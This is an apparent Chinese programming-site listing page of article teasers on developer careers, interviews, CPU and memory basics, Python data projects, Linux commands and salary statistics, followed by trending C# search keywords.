前奏: 今天2B哥和大家分享一位前几天面试的一位应聘者,工作4年26岁,统招本科。 以下就是他的简历和面试情况。 基本情况: 专业技能: 1、&nbsp;熟悉Sping了解SpringMVC、SpringBoot、Mybatis等框架、了解SpringCloud微服务 2、&nbsp;熟悉常用项目管理工具:SVN、GIT、MAVEN、Jenkins 3、&nbsp;熟悉Nginx、tomca...
2020年,冯唐49岁:我给20、30岁IT职场年轻人的建议
点击“技术领导力”关注∆每天早上8:30推送 作者|Mr.K 编辑| Emma 来源|技术领导力(ID:jishulingdaoli) 前天的推文《冯唐:职场人35岁以后,方法论比经验重要》,收到了不少读者的反馈,觉得挺受启发。其实,冯唐写了不少关于职场方面的文章,都挺不错的。可惜大家只记住了“春风十里不如你”、“如何避免成为油腻腻的中年人”等不那么正经的文章。 本文整理了冯...
程序员该看的几部电影
1、骇客帝国(1999) 概念:在线/离线,递归,循环,矩阵等 剧情简介: 不久的将来,网络黑客尼奥对这个看似正常的现实世界产生了怀疑。 他结识了黑客崔妮蒂,并见到了黑客组织的首领墨菲斯。 墨菲斯告诉他,现实世界其实是由一个名叫“母体”的计算机人工智能系统控制,人们就像他们饲养的动物,没有自由和思想,而尼奥就是能够拯救人类的救世主。 可是,救赎之路从来都不会一帆风顺,到底哪里才是真实的世界?如何...
蓝桥杯知识点汇总:基础知识和常用算法
此系列包含蓝桥杯所考察的绝大部分知识点,一共有==基础语法==,==常用API==,==基础算法和数据结构==,和==往年真题==四部分,虽然语言以JAVA为主,但算法部分是相通的,C++组的小伙伴也可以看哦。
作为一个程序员,CPU的这些硬核知识你必须会!
CPU对每个程序员来说,是个既熟悉又陌生的东西? 如果你只知道CPU是中央处理器的话,那可能对你并没有什么用,那么作为程序员的我们,必须要搞懂的就是CPU这家伙是如何运行的,尤其要搞懂它里面的寄存器是怎么一回事,因为这将让你从底层明白程序的运行机制。 随我一起,来好好认识下CPU这货吧 把CPU掰开来看 对于CPU来说,我们首先就要搞明白它是怎么回事,也就是它的内部构造,当然,CPU那么牛的一个东...
破14亿,Python分析我国存在哪些人口危机!
一、背景 二、爬取数据 三、数据分析 1、总人口 2、男女人口比例 3、人口城镇化 4、人口增长率 5、人口老化(抚养比) 6、各省人口 7、世界人口 四、遇到的问题 遇到的问题 1、数据分页,需要获取从1949-2018年数据,观察到有近20年参数:LAST20,由此推测获取近70年的参数可设置为:LAST70 2、2019年数据没有放上去,可以手动添加上去 3、将数据进行 行列转换 4、列名...
实现简单的轮播图(单张图片、多张图片)
前言 刚学js没多久,这篇博客就当做记录了,以后还会完善的,希望大佬们多多指点。ps:下面出现的都是直接闪动,没有滑动效果的轮播图。 单张图片的替换 · ...
强烈推荐10本程序员在家读的书
很遗憾,这个春节注定是刻骨铭心的,新型冠状病毒让每个人的神经都是紧绷的。那些处在武汉的白衣天使们,尤其值得我们的尊敬。而我们这些窝在家里的程序员,能不外出就不外出,就是对社会做出的最大的贡献。 有些读者私下问我,窝了几天,有点颓丧,能否推荐几本书在家里看看。我花了一天的时间,挑选了 10 本我最喜欢的书,你可以挑选感兴趣的来读一读。读书不仅可以平复恐惧的压力,还可以对未来充满希望,毕竟苦难终将会...
Linux自学篇——linux命令英文全称及解释
man: Manual 意思是手册,可以用这个命令查询其他命令的用法。 pwd:Print working directory 意思是密码。 su:Swith user 切换用户,切换到root用户 cd:Change directory 切换目录 ls:List files 列出目录下的文件 ps:Process Status 进程状态 mkdir:Make directory ...
Python实战:抓肺炎疫情实时数据,画2019-nCoV疫情地图
今天,群里白垩老师问如何用python画武汉肺炎疫情地图。白垩老师是研究海洋生态与地球生物的学者,国家重点实验室成员,于不惑之年学习python,实为我等学习楷模。先前我并没有关注武汉肺炎的具体数据,也没有画过类似的数据分布图。于是就拿了两个小时,专门研究了一下,遂成此文。
智力题(程序员面试经典)
NO.1  有20瓶药丸,其中19瓶装有1克/粒的药丸,余下一瓶装有1.1克/粒的药丸。给你一台称重精准的天平,怎么找出比较重的那瓶药丸?天平只能用一次。 解法 有时候,严格的限制条件有可能反倒是解题的线索。在这个问题中,限制条件是天平只能用一次。 因为天平只能用一次,我们也得以知道一个有趣的事实:一次必须同时称很多药丸,其实更准确地说,是必须从19瓶拿出药丸进行称重。否则,如果跳过两瓶或更多瓶药...
Java与Python学习通法(1)和(2)序言和编程语言发展史怎么学
dd
在家远程办公效率低?那你一定要收好这个「在家办公」神器!
相信大家都已经收到国务院延长春节假期的消息,接下来,在家远程办公可能将会持续一段时间。 但是问题来了。远程办公不是人在电脑前就当坐班了,相反,对于沟通效率,文件协作,以及信息安全都有着极高的要求。有着非常多的挑战,比如: 1在异地互相不见面的会议上,如何提高沟通效率? 2文件之间的来往反馈如何做到及时性?如何保证信息安全? 3如何规划安排每天工作,以及如何进行成果验收? ...... ...
作为一个程序员,内存和磁盘的这些事情,你不得不知道啊!!!
截止目前,我已经分享了如下几篇文章: 一个程序在计算机中是如何运行的?超级干货!!! 作为一个程序员,CPU的这些硬核知识你必须会! 作为一个程序员,内存的这些硬核知识你必须懂! 这些知识可以说是我们之前都不太重视的基础知识,可能大家在上大学的时候都学习过了,但是嘞,当时由于老师讲解的没那么有趣,又加上这些知识本身就比较枯燥,所以嘞,大家当初几乎等于没学。 再说啦,学习这些,也看不出来有什么用啊!...
阿里架构师花近十年时间整理出来的Java核心知识pdf(Java岗)
由于细节内容实在太多啦,所以只把部分知识点截图出来粗略的介绍,每个小节点里面都有更细化的内容! 整理了一份Java核心知识点。覆盖了JVM、锁、并发、Java反射、Spring原理、微服务、Zookeeper、数据库、数据结构等大量知识点。 欢迎大家加入java学习交流社区 点击加入 可获取文中文档 小编推荐: ...
Python基础知识点梳理
python常见知识点梳理 摘要: 本文主要介绍一些平时经常会用到的python基础知识点,用于加深印象。python的详细语法介绍可以查看官方编程手册,也有一些在线网站对python语法进行了比较全面的介绍,比如菜鸟教程: python3 教程|菜鸟教程 本文主要是介绍基础语法,操作实例在另一篇博客中单独介绍: python语言介绍 python是一门解释型语言,python的设计目标: 一门...
2020年2月全国程序员工资统计,平均工资13716元
趋势 2020年2月,中国大陆程序员平均工资13716员,比上个月增加。具体趋势如图: 各主要程序员城市工资变化 城市 北京,上海,深圳,杭州,广州四地的工资最高。 city 平均工资 最低工资 中位数 最高工资 招聘人数 百分比 北京 18098 3750 15000 45000 20529 9.53% 深圳 16903 5750 15000 37500 30941 1...
Java坑人面试题系列: 包装类(中级难度)
Java Magazine上面有一个专门坑人的面试题系列: https://blogs.oracle.com/javamagazine/quiz-2。 这些问题的设计宗旨,主要是测试面试者对Java语言的了解程度,而不是为了用弯弯绕绕的手段把面试者搞蒙。 如果你看过往期的问题,就会发现每一个都不简单。 这些试题模拟了认证考试中的一些难题。 而 “中级(intermediate)” 和 “高级(ad...
为什么说程序员做外包没前途?
之前做过不到3个月的外包,2020的第一天就被释放了,2019年还剩1天,我从外包公司离职了。我就谈谈我个人的看法吧。首先我们定义一下什么是有前途 稳定的工作环境 不错的收入 能够在项目中不断提升自己的技能(ps:非技术上的认知也算) 找下家的时候能找到一份工资更高的工作 如果你目前还年轻,但高不成低不就,只有外包offer,那请往下看。 外包公司你应该...
相关热词 c#导入fbx c#中屏蔽键盘某个键 c#正态概率密度 c#和数据库登陆界面设计 c# 高斯消去法 c# codedom c#读取cad文件文本 c# 控制全局鼠标移动 c# temp 目录 bytes初始化 c#
立即提问